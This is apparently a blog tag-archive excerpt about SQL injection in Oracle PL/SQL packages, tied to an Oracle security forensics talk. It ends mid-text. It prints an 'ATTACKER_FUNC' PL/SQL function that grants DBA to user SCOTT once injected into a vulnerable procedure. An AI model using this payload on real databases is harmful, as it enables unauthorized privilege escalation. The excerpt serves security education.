Tag Archives: PL/SQL packages

SQL Injection in Oracle PL-SQL packages

SQL Injection in Oracle PL/SQL packages Advanced Oracle Security Forensics at UKOUG Example for 10g CREATE OR REPLACE FUNCTION “SCOTT”.”ATTACKER_FUNC” return varchar2 authid current_user as pragma autonomous_transaction; BEGIN EXECUTE IMMEDIATE ‘GRANT DBA TO SCOTT’; COMMIT; RETURN ‘ ‘; END; / – Inject the function into the procedure…. and much mor can be cound at User [...]